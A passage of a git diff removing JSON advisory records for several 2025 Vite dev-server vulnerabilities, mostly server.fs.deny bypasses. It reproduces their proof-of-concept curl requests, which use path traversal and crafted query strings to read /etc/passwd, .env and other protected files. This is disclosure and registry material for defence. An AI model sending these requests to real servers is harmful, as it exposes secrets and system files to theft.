receiving a request, but plugins may implement those functionalities and servers behind `server.proxy` may have those functionalities.\n\nChrome 94+ users are not affected for [3], because [sending a request to a private network page from public non-HTTPS page is forbidden](https://developer.chrome.com/blog/private-network-access-update#chrome_94) since Chrome 94.\n\n### Related Information\nSafari has [a bug that blocks requests to loopback addresses from HTTPS origins](https://bugs.webkit.org/show_bug.cgi?id=171934). This means when the user is using Safari and Vite is listening on lookback addresses, there's another condition of \"the malicious web page is served on HTTP\" to make [1] and [2] to work.\n\n### PoC\n#### [2]: Lack of validation on the Origin header for WebSocket connections\n1. I used the `react` template which utilizes HMR functionality.\n\n```\nnpm create vite@latest my-vue-app-react -- --template react\n```\n\n2. Then on a malicious server, serve the following POC html:\n```html\n\n\n \n \n vite CSWSH\n \n \n

    \n \n \n\n```\n\n3. Kick off Vite \n\n```\nnpm run dev\n```\n\n4. Load the development server (open `http://localhost:5173/`) as well as the malicious page in the browser. \n5. Edit `src/App.jsx` file and intentionally place a syntax error\n6. Notice how the malicious page can view the websocket messages and a snippet of the source code is exposed\n\nHere's a video demonstrating the POC:\n\nhttps://github.com/user-attachments/assets/a4ad05cd-0b34-461c-9ff6-d7c8663d6961", - "published_at": "2025-01-21T19:52:55Z", - "updated_at": "2026-02-04T04:37:03.076966Z", - "severity": "low", - "cvss_score": 3.1, - "exploit_status": "unknown", - "source_confidence": "official", - "official_source_url": "https://github.com/vitejs/vite/security/advisories/GHSA-vg6x-rcgg-rjx6", - "secondary_source_urls": [ - "https://nvd.nist.gov/vuln/detail/CVE-2025-24010", - "https://github.com/vitejs/vite" - ], - "aliases": [ - "CVE-2025-24010", - "GHSA-vg6x-rcgg-rjx6" - ], - "cve_ids": [ - "CVE-2025-24010" - ], - "ghsa_ids": [ - "GHSA-vg6x-rcgg-rjx6" - ], - "osv_ids": [ - "GHSA-vg6x-rcgg-rjx6" - ], - "affected_versions": [ - "introduced=6.0.0, fixed<6.0.9", - "introduced=5.0.0, fixed<5.4.12", - "introduced=0, fixed<4.5.6" - ], - "fixed_versions": [ - "6.0.9", - "5.4.12", - "4.5.6" - ], - "package_name": "vite", - "render_markdown": true, - "case_path": "07-framework-security/frameworks/vite/cases/vite-cve-2025-24010.md", - "secure_code_topics": [ - "dependency-upgrade-policy", - "file-upload-validation", - "proxy-trust-boundary", - "dom-sink-hardening", - "token-cookie-storage", - "plugin-extension-trust-policy" - ], - "status": "generated", - "triage_reasons": [], - "verification_status": "triage-manual", - "verification_mode": "synthetic", - "last_verified_at": null, - "last_run_id": null, - "evidence_bundle": null, - "browser_evidence": { - "required": false, - "present": false, - "refs": [] - }, - "repro_profile_id": "file-upload-generic", - "artifact_mode": "synthetic", - "blocked_reason": null, - "metadata": { - "source_names": [ - "OSV Vite" - ], - "source_kinds": [ - "osv-batch" - ], - "candidate_count": 1 - } -} diff --git a/08-threat-intel/registry/advisories/vite--CVE-2025-30208.json b/08-threat-intel/registry/advisories/vite--CVE-2025-30208.json deleted file mode 100644 index ed28908a..00000000 --- a/08-threat-intel/registry/advisories/vite--CVE-2025-30208.json +++ /dev/null @@ -1,84 +0,0 @@ -{ - "canonical_id": "vite--CVE-2025-30208", - "system_id": "vite", - "display_name": "Vite", - "category": "frameworks", - "advisory_mode": "core", - "title": "Vite bypasses server.fs.deny when using ?raw??", - "summary": "### Summary\nThe contents of arbitrary files can be returned to the browser.\n\n### Impact\nOnly apps explicitly exposing the Vite dev server to the network (using `--host` or [`server.host` config option](https://vitejs.dev/config/server-options.html#server-host)) are affected.\n\n### Details\n`@fs` denies access to files outside of Vite serving allow list. Adding `?raw??` or `?import&raw??` to the URL bypasses this limitation and returns the file content if it exists. This bypass exists because trailing separators such as `?` are removed in several places, but are not accounted for in query string regexes.\n\n### PoC\n```bash\n$ npm create vite@latest\n$ cd vite-project/\n$ npm install\n$ npm run dev\n\n$ echo \"top secret content\" > /tmp/secret.txt\n\n# expected behaviour\n$ curl \"http://localhost:5173/@fs/tmp/secret.txt\"\n\n \n

    403 Restricted

    \n

    The request url "/tmp/secret.txt" is outside of Vite serving allow list.\n\n# security bypassed\n$ curl \"http://localhost:5173/@fs/tmp/secret.txt?import&raw??\"\nexport default \"top secret content\\n\"\n//# sourceMappingURL=data:application/json;base64,eyJ2...\n```", - "published_at": "2025-03-25T14:00:02Z", - "updated_at": "2026-02-04T03:13:24.371631Z", - "severity": "low", - "cvss_score": 3.1, - "exploit_status": "unknown", - "source_confidence": "official", - "official_source_url": "https://github.com/vitejs/vite/security/advisories/GHSA-x574-m823-4x7w", - "secondary_source_urls": [ - "https://nvd.nist.gov/vuln/detail/CVE-2025-30208", - "https://github.com/vitejs/vite/commit/315695e9d97cc6cfa7e6d9e0229fb50cdae3d9f4", - "https://github.com/vitejs/vite/commit/80381c38d6f068b12e6e928cd3c616bd1d64803c", - "https://github.com/vitejs/vite/commit/807d7f06d33ab49c48a2a3501da3eea1906c0d41", - "https://github.com/vitejs/vite/commit/92ca12dc79118bf66f2b32ff81ed09e0d0bd07ca", - "https://github.com/vitejs/vite/commit/f234b5744d8b74c95535a7b82cc88ed2144263c1", - "https://github.com/vitejs/vite" - ], - "aliases": [ - "CVE-2025-30208", - "GHSA-x574-m823-4x7w" - ], - "cve_ids": [ - "CVE-2025-30208" - ], - "ghsa_ids": [ - "GHSA-x574-m823-4x7w" - ], - "osv_ids": [ - "GHSA-x574-m823-4x7w" - ], - "affected_versions": [ - "introduced=6.2.0, fixed<6.2.3", - "introduced=6.1.0, fixed<6.1.2", - "introduced=6.0.0, fixed<6.0.12", - "introduced=5.0.0, fixed<5.4.15", - "introduced=0, fixed<4.5.10" - ], - "fixed_versions": [ - "6.2.3", - "6.1.2", - "6.0.12", - "5.4.15", - "4.5.10" - ], - "package_name": "vite", - "render_markdown": true, - "case_path": "07-framework-security/frameworks/vite/cases/vite-cve-2025-30208.md", - "secure_code_topics": [ - "dependency-upgrade-policy", - "file-upload-validation", - "proxy-trust-boundary" - ], - "status": "generated", - "triage_reasons": [], - "verification_status": "triage-manual", - "verification_mode": "synthetic", - "last_verified_at": null, - "last_run_id": null, - "evidence_bundle": null, - "browser_evidence": { - "required": false, - "present": false, - "refs": [] - }, - "repro_profile_id": "proxy-boundary-generic", - "artifact_mode": "synthetic", - "blocked_reason": null, - "metadata": { - "source_names": [ - "OSV Vite" - ], - "source_kinds": [ - "osv-batch" - ], - "candidate_count": 1 - } -} diff --git a/08-threat-intel/registry/advisories/vite--CVE-2025-31125.json b/08-threat-intel/registry/advisories/vite--CVE-2025-31125.json deleted file mode 100644 index bfbdb3ed..00000000 --- a/08-threat-intel/registry/advisories/vite--CVE-2025-31125.json +++ /dev/null @@ -1,81 +0,0 @@ -{ - "canonical_id": "vite--CVE-2025-31125", - "system_id": "vite", - "display_name": "Vite", - "category": "frameworks", - "advisory_mode": "core", - "title": "Vite has a `server.fs.deny` bypassed for `inline` and `raw` with `?import` query", - "summary": "### Summary\n\nThe contents of arbitrary files can be returned to the browser.\n\n### Impact\nOnly apps explicitly exposing the Vite dev server to the network (using `--host` or [`server.host` config option](https://vitejs.dev/config/server-options.html#server-host)) are affected.\n\n### Details\n\n- base64 encoded content of non-allowed files is exposed using `?inline&import` (originally reported as `?import&?inline=1.wasm?init`)\n- content of non-allowed files is exposed using `?raw?import`\n\n`/@fs/` isn't needed to reproduce the issue for files inside the project root.\n\n### PoC\n\nOriginal report (check details above for simplified cases):\n\nThe ?import&?inline=1.wasm?init ending allows attackers to read arbitrary files and returns the file content if it exists. Base64 decoding needs to be performed twice\n```\n$ npm create vite@latest\n$ cd vite-project/\n$ npm install\n$ npm run dev\n```\n\nExample full URL `http://localhost:5173/@fs/C:/windows/win.ini?import&?inline=1.wasm?init`", - "published_at": "2025-03-31T17:31:54Z", - "updated_at": "2026-02-04T04:37:24.129476Z", - "severity": "low", - "cvss_score": 3.1, - "exploit_status": "unknown", - "source_confidence": "official", - "official_source_url": "https://github.com/vitejs/vite/security/advisories/GHSA-4r4m-qw57-chr8", - "secondary_source_urls": [ - "https://nvd.nist.gov/vuln/detail/CVE-2025-31125", - "https://github.com/vitejs/vite/commit/59673137c45ac2bcfad1170d954347c1a17ab949", - "https://github.com/vitejs/vite", - "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-31125" - ], - "aliases": [ - "CVE-2025-31125", - "GHSA-4r4m-qw57-chr8" - ], - "cve_ids": [ - "CVE-2025-31125" - ], - "ghsa_ids": [ - "GHSA-4r4m-qw57-chr8" - ], - "osv_ids": [ - "GHSA-4r4m-qw57-chr8" - ], - "affected_versions": [ - "introduced=6.2.0, fixed<6.2.4", - "introduced=6.1.0, fixed<6.1.3", - "introduced=6.0.0, fixed<6.0.13", - "introduced=5.0.0, fixed<5.4.16", - "introduced=0, fixed<4.5.11" - ], - "fixed_versions": [ - "6.2.4", - "6.1.3", - "6.0.13", - "5.4.16", - "4.5.11" - ], - "package_name": "vite", - "render_markdown": true, - "case_path": "07-framework-security/frameworks/vite/cases/vite-cve-2025-31125.md", - "secure_code_topics": [ - "dependency-upgrade-policy", - "file-upload-validation", - "proxy-trust-boundary" - ], - "status": "generated", - "triage_reasons": [], - "verification_status": "triage-manual", - "verification_mode": "synthetic", - "last_verified_at": null, - "last_run_id": null, - "evidence_bundle": null, - "browser_evidence": { - "required": false, - "present": false, - "refs": [] - }, - "repro_profile_id": "proxy-boundary-generic", - "artifact_mode": "synthetic", - "blocked_reason": null, - "metadata": { - "source_names": [ - "OSV Vite" - ], - "source_kinds": [ - "osv-batch" - ], - "candidate_count": 1 - } -} diff --git a/08-threat-intel/registry/advisories/vite--CVE-2025-31486.json b/08-threat-intel/registry/advisories/vite--CVE-2025-31486.json deleted file mode 100644 index 28cd8aae..00000000 --- a/08-threat-intel/registry/advisories/vite--CVE-2025-31486.json +++ /dev/null @@ -1,82 +0,0 @@ -{ - "canonical_id": "vite--CVE-2025-31486", - "system_id": "vite", - "display_name": "Vite", - "category": "frameworks", - "advisory_mode": "core", - "title": "Vite allows server.fs.deny to be bypassed with .svg or relative paths", - "summary": "### Summary\n\nThe contents of arbitrary files can be returned to the browser.\n\n### Impact\n\nOnly apps explicitly exposing the Vite dev server to the network (using --host or [server.host config option](https://vitejs.dev/config/server-options.html#server-host)) are affected.\n\n### Details\n\n#### `.svg`\n\nRequests ending with `.svg` are loaded at this line.\nhttps://github.com/vitejs/vite/blob/037f801075ec35bb6e52145d659f71a23813c48f/packages/vite/src/node/plugins/asset.ts#L285-L290\nBy adding `?.svg` with `?.wasm?init` or with `sec-fetch-dest: script` header, the restriction was able to bypass.\n\nThis bypass is only possible if the file is smaller than [`build.assetsInlineLimit`](https://vite.dev/config/build-options.html#build-assetsinlinelimit) (default: 4kB) and when using Vite 6.0+.\n\n#### relative paths\n\nThe check was applied before the id normalization. This allowed requests to bypass with relative paths (e.g. `../../`).\n\n### PoC\n\n```bash\nnpm create vite@latest\ncd vite-project/\nnpm install\nnpm run dev\n```\n\nsend request to read `etc/passwd`\n\n```bash\ncurl 'http://127.0.0.1:5173/etc/passwd?.svg?.wasm?init'\n```\n\n```bash\ncurl 'http://127.0.0.1:5173/@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?raw'\n```", - "published_at": "2025-04-04T14:20:05Z", - "updated_at": "2026-02-04T03:51:38.412061Z", - "severity": "low", - "cvss_score": 3.1, - "exploit_status": "unknown", - "source_confidence": "official", - "official_source_url": "https://github.com/vitejs/vite/security/advisories/GHSA-xcj6-pq6g-qj4x", - "secondary_source_urls": [ - "https://nvd.nist.gov/vuln/detail/CVE-2025-31486", - "https://github.com/vitejs/vite/commit/62d7e81ee189d65899bb65f3263ddbd85247b647", - "https://github.com/vitejs/vite", - "https://github.com/vitejs/vite/blob/037f801075ec35bb6e52145d659f71a23813c48f/packages/vite/src/node/plugins/asset.ts#L285-L290" - ], - "aliases": [ - "CVE-2025-31486", - "GHSA-xcj6-pq6g-qj4x" - ], - "cve_ids": [ - "CVE-2025-31486" - ], - "ghsa_ids": [ - "GHSA-xcj6-pq6g-qj4x" - ], - "osv_ids": [ - "GHSA-xcj6-pq6g-qj4x" - ], - "affected_versions": [ - "introduced=6.2.0, fixed<6.2.5", - "introduced=6.1.0, fixed<6.1.4", - "introduced=6.0.0, fixed<6.0.14", - "introduced=5.0.0, fixed<5.4.17", - "introduced=0, fixed<4.5.12" - ], - "fixed_versions": [ - "6.2.5", - "6.1.4", - "6.0.14", - "5.4.17", - "4.5.12" - ], - "package_name": "vite", - "render_markdown": true, - "case_path": "07-framework-security/frameworks/vite/cases/vite-cve-2025-31486.md", - "secure_code_topics": [ - "dependency-upgrade-policy", - "file-upload-validation", - "proxy-trust-boundary", - "plugin-extension-trust-policy" - ], - "status": "generated", - "triage_reasons": [], - "verification_status": "triage-manual", - "verification_mode": "synthetic", - "last_verified_at": null, - "last_run_id": null, - "evidence_bundle": null, - "browser_evidence": { - "required": false, - "present": false, - "refs": [] - }, - "repro_profile_id": "proxy-boundary-generic", - "artifact_mode": "synthetic", - "blocked_reason": null, - "metadata": { - "source_names": [ - "OSV Vite" - ], - "source_kinds": [ - "osv-batch" - ], - "candidate_count": 1 - } -} diff --git a/08-threat-intel/registry/advisories/vite--CVE-2025-32395.json b/08-threat-intel/registry/advisories/vite--CVE-2025-32395.json deleted file mode 100644 index b340e8c8..00000000 --- a/08-threat-intel/registry/advisories/vite--CVE-2025-32395.json +++ /dev/null @@ -1,80 +0,0 @@ -{ - "canonical_id": "vite--CVE-2025-32395", - "system_id": "vite", - "display_name": "Vite", - "category": "frameworks", - "advisory_mode": "core", - "title": "Vite has an `server.fs.deny` bypass with an invalid `request-target`", - "summary": "### Summary\nThe contents of arbitrary files can be returned to the browser if the dev server is running on Node or Bun.\n\n### Impact\nOnly apps with the following conditions are affected.\n\n- explicitly exposing the Vite dev server to the network (using --host or [server.host config option](https://vitejs.dev/config/server-options.html#server-host))\n- running the Vite dev server on runtimes that are not Deno (e.g. Node, Bun)\n\n### Details\n\n[HTTP 1.1 spec (RFC 9112) does not allow `#` in `request-target`](https://datatracker.ietf.org/doc/html/rfc9112#section-3.2). Although an attacker can send such a request. For those requests with an invalid `request-line` (it includes `request-target`), the spec [recommends to reject them with 400 or 301](https://datatracker.ietf.org/doc/html/rfc9112#section-3.2-4). The same can be said for HTTP 2 ([ref1](https://datatracker.ietf.org/doc/html/rfc9113#section-8.3.1-2.4.1), [ref2](https://datatracker.ietf.org/doc/html/rfc9113#section-8.3.1-3), [ref3](https://datatracker.ietf.org/doc/html/rfc9113#section-8.1.1-3)).\n\nOn Node and Bun, those requests are not rejected internally and is passed to the user land. For those requests, the value of [`http.IncomingMessage.url`](https://nodejs.org/docs/latest-v22.x/api/http.html#messageurl) contains `#`. Vite assumed `req.url` won't contain `#` when checking `server.fs.deny`, allowing those kinds of requests to bypass the check.\n\nOn Deno, those requests are not rejected internally and is passed to the user land as well. But for those requests, the value of `http.IncomingMessage.url` did not contain `#`. \n\n### PoC\n```\nnpm create vite@latest\ncd vite-project/\nnpm install\nnpm run dev\n```\nsend request to read `/etc/passwd`\n```\ncurl --request-target /@fs/Users/doggy/Desktop/vite-project/#/../../../../../etc/passwd http://127.0.0.1:5173\n```", - "published_at": "2025-04-11T14:06:03Z", - "updated_at": "2026-02-04T04:11:44.900383Z", - "severity": "medium", - "cvss_score": 4.0, - "exploit_status": "unknown", - "source_confidence": "official", - "official_source_url": "https://github.com/vitejs/vite/security/advisories/GHSA-356w-63v5-8wf4", - "secondary_source_urls": [ - "https://nvd.nist.gov/vuln/detail/CVE-2025-32395", - "https://github.com/vitejs/vite/commit/175a83909f02d3b554452a7bd02b9f340cdfef70", - "https://github.com/vitejs/vite" - ], - "aliases": [ - "CVE-2025-32395", - "GHSA-356w-63v5-8wf4" - ], - "cve_ids": [ - "CVE-2025-32395" - ], - "ghsa_ids": [ - "GHSA-356w-63v5-8wf4" - ], - "osv_ids": [ - "GHSA-356w-63v5-8wf4" - ], - "affected_versions": [ - "introduced=6.2.0, fixed<6.2.6", - "introduced=6.1.0, fixed<6.1.5", - "introduced=6.0.0, fixed<6.0.15", - "introduced=5.0.0, fixed<5.4.18", - "introduced=0, fixed<4.5.13" - ], - "fixed_versions": [ - "6.2.6", - "6.1.5", - "6.0.15", - "5.4.18", - "4.5.13" - ], - "package_name": "vite", - "render_markdown": true, - "case_path": "07-framework-security/frameworks/vite/cases/vite-cve-2025-32395.md", - "secure_code_topics": [ - "dependency-upgrade-policy", - "file-upload-validation", - "proxy-trust-boundary" - ], - "status": "generated", - "triage_reasons": [], - "verification_status": "triage-manual", - "verification_mode": "synthetic", - "last_verified_at": null, - "last_run_id": null, - "evidence_bundle": null, - "browser_evidence": { - "required": false, - "present": false, - "refs": [] - }, - "repro_profile_id": "proxy-boundary-generic", - "artifact_mode": "synthetic", - "blocked_reason": null, - "metadata": { - "source_names": [ - "OSV Vite" - ], - "source_kinds": [ - "osv-batch" - ], - "candidate_count": 1 - } -} diff --git a/08-threat-intel/registry/advisories/vite--CVE-2025-46565.json b/08-threat-intel/registry/advisories/vite--CVE-2025-46565.json deleted file mode 100644 index 43340ead..00000000 --- a/08-threat-intel/registry/advisories/vite--CVE-2025-46565.json +++ /dev/null @@ -1,80 +0,0 @@ -{ - "canonical_id": "vite--CVE-2025-46565", - "system_id": "vite", - "display_name": "Vite", - "category": "frameworks", - "advisory_mode": "core", - "title": "Vite's server.fs.deny bypassed with /. for files under project root", - "summary": "### Summary\nThe contents of files in [the project `root`](https://vite.dev/config/shared-options.html#root) that are denied by a file matching pattern can be returned to the browser.\n\n### Impact\n\nOnly apps explicitly exposing the Vite dev server to the network (using --host or [server.host config option](https://vitejs.dev/config/server-options.html#server-host)) are affected.\nOnly files that are under [project `root`](https://vite.dev/config/shared-options.html#root) and are denied by a file matching pattern can be bypassed.\n\n- Examples of file matching patterns: `.env`, `.env.*`, `*.{crt,pem}`, `**/.env`\n- Examples of other patterns: `**/.git/**`, `.git/**`, `.git/**/*`\n\n### Details\n[`server.fs.deny`](https://vite.dev/config/server-options.html#server-fs-deny) can contain patterns matching against files (by default it includes `.env`, `.env.*`, `*.{crt,pem}` as such patterns).\nThese patterns were able to bypass for files under `root` by using a combination of slash and dot (`/.`).\n\n### PoC\n```\nnpm create vite@latest\ncd vite-project/\ncat \"secret\" > .env\nnpm install\nnpm run dev\ncurl --request-target /.env/. http://localhost:5173\n```\n\n![image](https://github.com/user-attachments/assets/822f4416-aa42-461f-8c95-a88d155e674b)\n![image](https://github.com/user-attachments/assets/42902144-863a-4afb-ac5b-fc16effa37cc)", - "published_at": "2025-04-30T17:40:27Z", - "updated_at": "2026-02-04T03:27:17.681639Z", - "severity": "medium", - "cvss_score": 4.0, - "exploit_status": "unknown", - "source_confidence": "official", - "official_source_url": "https://github.com/vitejs/vite/security/advisories/GHSA-859w-5945-r5v3", - "secondary_source_urls": [ - "https://nvd.nist.gov/vuln/detail/CVE-2025-46565", - "https://github.com/vitejs/vite/commit/c22c43de612eebb6c182dd67850c24e4fab8cacb", - "https://github.com/vitejs/vite" - ], - "aliases": [ - "CVE-2025-46565", - "GHSA-859w-5945-r5v3" - ], - "cve_ids": [ - "CVE-2025-46565" - ], - "ghsa_ids": [ - "GHSA-859w-5945-r5v3" - ], - "osv_ids": [ - "GHSA-859w-5945-r5v3" - ], - "affected_versions": [ - "introduced=6.3.0, fixed<6.3.4", - "introduced=6.2.0, fixed<6.2.7", - "introduced=6.0.0, fixed<6.1.6", - "introduced=5.0.0, fixed<5.4.19", - "introduced=0, fixed<4.5.14" - ], - "fixed_versions": [ - "6.3.4", - "6.2.7", - "6.1.6", - "5.4.19", - "4.5.14" - ], - "package_name": "vite", - "render_markdown": true, - "case_path": "07-framework-security/frameworks/vite/cases/vite-cve-2025-46565.md", - "secure_code_topics": [ - "dependency-upgrade-policy", - "file-upload-validation", - "proxy-trust-boundary" - ], - "status": "generated", - "triage_reasons": [], - "verification_status": "triage-manual", - "verification_mode": "synthetic", - "last_verified_at": null, - "last_run_id": null, - "evidence_bundle": null, - "browser_evidence": { - "required": false, - "present": false, - "refs": [] - }, - "repro_profile_id": "file-upload-generic", - "artifact_mode": "synthetic", - "blocked_reason": null, - "metadata": { - "source_names": [ - "OSV Vite" - ], - "source_kinds": [ - "osv-batch" - ], - "candidate_count": 1 - } -} diff --git a/08-threat-intel/registry/advisories/vite--CVE-2025-58751.json b/08-threat-intel/registry/advisories/vite--CVE-2025-58751.json deleted file mode 100644 index 8163ca21..00000000 --- a/08-threat-intel/registry/advisories/vite--CVE-2025-58751.json +++ /dev/null @@ -1,82 +0,0 @@ -{ - "canonical_id": "vite--CVE-2025-58751", - "system_id": "vite", - "display_name": "Vite", - "category": "frameworks", - "advisory_mode": "core", - "title": "Vite middleware may serve files starting with the same name with the public directory", - "summary": "### Summary\nFiles starting with the same name with the public directory were served bypassing the `server.fs` settings.\n\n### Impact\nOnly apps that match the following conditions are affected:\n\n- explicitly exposes the Vite dev server to the network (using --host or [`server.host` config option](https://vitejs.dev/config/server-options.html#server-host))\n- uses [the public directory feature](https://vite.dev/guide/assets.html#the-public-directory) (enabled by default)\n- a symlink exists in the public directory\n\n### Details\nThe [servePublicMiddleware](https://github.com/vitejs/vite/blob/9719497adec4ad5ead21cafa19a324bb1d480194/packages/vite/src/node/server/middlewares/static.ts#L79) function is in charge of serving public files from the server. It returns the [viteServePublicMiddleware](https://github.com/vitejs/vite/blob/9719497adec4ad5ead21cafa19a324bb1d480194/packages/vite/src/node/server/middlewares/static.ts#L106) function which runs the needed tests and serves the page. The viteServePublicMiddleware function [checks if the publicFiles variable is defined](https://github.com/vitejs/vite/blob/9719497adec4ad5ead21cafa19a324bb1d480194/packages/vite/src/node/server/middlewares/static.ts#L111), and then uses it to determine if the requested page is public. In the case that the publicFiles is undefined, the code will treat the requested page as a public page, and go on with the serving function. [publicFiles may be undefined if there is a symbolic link anywhere inside the public directory](https://github.com/vitejs/vite/blob/9719497adec4ad5ead21cafa19a324bb1d480194/packages/vite/src/node/publicDir.ts#L21). In that case, every requested page will be passed to the public serving function. The serving function is based on the [sirv](https://github.com/lukeed/sirv) library. Vite patches the library to add the possibility to test loading access to pages, but when the public page middleware [disables this functionality](https://github.com/vitejs/vite/blob/9719497adec4ad5ead21cafa19a324bb1d480194/packages/vite/src/node/server/middlewares/static.ts#L89) since public pages are meant to be available always, regardless of whether they are in the allow or deny list.\n\nIn the case of public pages, the serving function is [provided with the path to the public directory](https://github.com/vitejs/vite/blob/9719497adec4ad5ead21cafa19a324bb1d480194/packages/vite/src/node/server/middlewares/static.ts#L85) as a root directory. The code of the sirv library [uses the join function to get the full path to the requested file](https://github.com/lukeed/sirv/blob/d061616827dd32d53b61ec9530c9445c8f592620/packages/sirv/index.mjs#L42). For example, if the public directory is \"/www/public\", and the requested file is \"myfile\", the code will join them to the string \"/www/public/myfile\". The code will then pass this string to the normalize function. Afterwards, the code will [use the string's startsWith function](https://github.com/lukeed/sirv/blob/d061616827dd32d53b61ec9530c9445c8f592620/packages/sirv/index.mjs#L43) to determine whether the created path is within the given directory or not. Only if it is, it will be served.\n\nSince [sirv trims the trailing slash of the public directory](https://github.com/lukeed/sirv/blob/d061616827dd32d53b61ec9530c9445c8f592620/packages/sirv/index.mjs#L119), the string's startsWith function may return true even if the created path is not within the public directory. For example, if the server's root is at \"/www\", and the public directory is at \"/www/p\", if the created path will be \"/www/private.txt\", the startsWith function will still return true, because the string \"/www/private.txt\" starts with\u00a0 \"/www/p\". To achieve this, the attacker will use \"..\" to ask for the file \"../private.txt\". The code will then join it to the \"/www/p\" string, and will receive \"/www/p/../private.txt\". Then, the normalize function will return \"/www/private.txt\", which will then be passed to the startsWith function, which will return true, and the processing of the page will continue without checking the deny list (since this is the public directory middleware which doesn't check that).\n\n### PoC\nExecute the following shell commands:\n\n```\nnpm create vite@latest\ncd vite-project/\nmkdir p\ncd p\nln -s a b\ncd ..\necho 'import path from \"node:path\"; import { defineConfig } from \"vite\"; export default defineConfig({publicDir: path.resolve(__dirname, \"p/\"), server: {fs: {deny: [path.resolve(__dirname, \"private.txt\")]}}})' > vite.config.js\necho \"secret\" > private.txt\nnpm install\nnpm run dev\n```\n\nThen, in a different shell, run the following command:\n\n`curl -v --path-as-is 'http://localhost:5173/private.txt'`\n\nYou will receive a 403 HTTP Response,\u00a0 because private.txt is denied.\n\nNow in the same shell run the following command:\n\n`curl -v --path-as-is 'http://localhost:5173/../private.txt'`\n\nYou will receive the contents of private.txt.\n\n### Related links\n- https://github.com/lukeed/sirv/commit/f0113f3f8266328d804ee808f763a3c11f8997eb", - "published_at": "2025-09-09T20:55:56Z", - "updated_at": "2026-02-04T04:33:22.508417Z", - "severity": "medium", - "cvss_score": 4.0, - "exploit_status": "unknown", - "source_confidence": "official", - "official_source_url": "https://github.com/vitejs/vite/security/advisories/GHSA-g4jq-h2w9-997c", - "secondary_source_urls": [ - "https://nvd.nist.gov/vuln/detail/CVE-2025-58751", - "https://github.com/lukeed/sirv/commit/f0113f3f8266328d804ee808f763a3c11f8997eb", - "https://github.com/vitejs/vite/commit/09f2b52e8d5907f26602653caf41b3a56692600d", - "https://github.com/vitejs/vite/commit/4f1c35bcbb5830290c694aa14b6789e07450f069", - "https://github.com/vitejs/vite/commit/63e2a5d232218f3f8d852056751e609a5367aaec", - "https://github.com/vitejs/vite/commit/e11d24008b97d4ca731ecc1a3b95260a6d12e7e0", - "https://github.com/vitejs/vite" - ], - "aliases": [ - "CVE-2025-58751", - "GHSA-g4jq-h2w9-997c" - ], - "cve_ids": [ - "CVE-2025-58751" - ], - "ghsa_ids": [ - "GHSA-g4jq-h2w9-997c" - ], - "osv_ids": [ - "GHSA-g4jq-h2w9-997c" - ], - "affected_versions": [ - "introduced=7.1.0, fixed<7.1.5", - "introduced=7.0.0, fixed<7.0.7", - "introduced=6.0.0, fixed<6.3.6", - "introduced=0, fixed<5.4.20" - ], - "fixed_versions": [ - "7.1.5", - "7.0.7", - "6.3.6", - "5.4.20" - ], - "package_name": "vite", - "render_markdown": true, - "case_path": "07-framework-security/frameworks/vite/cases/vite-cve-2025-58751.md", - "secure_code_topics": [ - "dependency-upgrade-policy", - "file-upload-validation", - "proxy-trust-boundary" - ], - "status": "generated", - "triage_reasons": [], - "verification_status": "triage-manual", - "verification_mode": "synthetic", - "last_verified_at": null, - "last_run_id": null, - "evidence_bundle": null, - "browser_evidence": { - "required": false, - "present": false, - "refs": [] - }, - "repro_profile_id": "proxy-boundary-generic", - "artifact_mode": "synthetic", - "blocked_reason": null, - "metadata": { - "source_names": [ - "OSV Vite" - ], - "source_kinds": [ - "osv-batch" - ], - "candidate_count": 1 - } -} diff --git a/08-threat-intel/registry/advisories/vite--CVE-2025-58752.json b/08-threat-intel/registry/advisories/vite--CVE-2025-58752.json deleted file mode 100644 index ce1360c2..00000000 --- a/08-threat-intel/registry/advisories/vite--CVE-2025-58752.json +++ /dev/null @@ -1,83 +0,0 @@ -{ - "canonical_id": "vite--CVE-2025-58752", - "system_id": "vite", - "display_name": "Vite", - "category": "frameworks", - "advisory_mode": "core", - "title": "Vite's `server.fs` settings were not applied to HTML files", - "summary": "### Summary\nAny HTML files on the machine were served regardless of the `server.fs` settings.\n\n### Impact\n\nOnly apps that match the following conditions are affected:\n\n- explicitly exposes the Vite dev server to the network (using --host or [server.host config option](https://vitejs.dev/config/server-options.html#server-host))\n- `appType: 'spa'` (default) or `appType: 'mpa'` is used\n\nThis vulnerability also affects the preview server. The preview server allowed HTML files not under the output directory to be served.\n\n### Details\nThe [serveStaticMiddleware](https://github.com/vitejs/vite/blob/9719497adec4ad5ead21cafa19a324bb1d480194/packages/vite/src/node/server/middlewares/static.ts#L123) function is in charge of serving static files from the server. It returns the [viteServeStaticMiddleware](https://github.com/vitejs/vite/blob/9719497adec4ad5ead21cafa19a324bb1d480194/packages/vite/src/node/server/middlewares/static.ts#L136) function which runs the needed tests and serves the page. The viteServeStaticMiddleware function [checks if the extension of the requested file is \".html\"](https://github.com/vitejs/vite/blob/9719497adec4ad5ead21cafa19a324bb1d480194/packages/vite/src/node/server/middlewares/static.ts#L144). If so, it doesn't serve the page. Instead, the server will go on to the next middlewares, in this case [htmlFallbackMiddleware](https://github.com/vitejs/vite/blob/9719497adec4ad5ead21cafa19a324bb1d480194/packages/vite/src/node/server/middlewares/htmlFallback.ts#L14), and then to [indexHtmlMiddleware](https://github.com/vitejs/vite/blob/9719497adec4ad5ead21cafa19a324bb1d480194/packages/vite/src/node/server/middlewares/indexHtml.ts#L438). These middlewares don't perform any test against allow or deny rules, and they don't make sure that the accessed file is in the root directory of the server. They just find the file and send back its contents to the client.\n\n### PoC\nExecute the following shell commands:\n\n```\nnpm create vite@latest\ncd vite-project/\necho \"secret\" > /tmp/secret.html\nnpm install\nnpm run dev\n```\n\nThen, in a different shell, run the following command:\n\n`curl -v --path-as-is 'http://localhost:5173/../../../../../../../../../../../tmp/secret.html'`\n\nThe contents of /tmp/secret.html will be returned.\n\nThis will also work for HTML files that are in the root directory of the project, but are in the deny list (or not in the allow list). Test that by stopping the running server (CTRL+C), and running the following commands in the server's shell:\n\n```\necho 'import path from \"node:path\"; import { defineConfig } from \"vite\"; export default defineConfig({server: {fs: {deny: [path.resolve(__dirname, \"secret_files/*\")]}}})' > [vite.config.js](http://vite.config.js)\nmkdir secret_files\necho \"secret txt\" > secret_files/secret.txt\necho \"secret html\" > secret_files/secret.html\nnpm run dev\n\n```\n\nThen, in a different shell, run the following command:\n\n`curl -v --path-as-is 'http://localhost:5173/secret_files/secret.txt'`\n\nYou will receive a 403 HTTP Response,\u00a0 because everything in the secret_files directory is denied.\n\nNow in the same shell run the following command:\n\n`curl -v 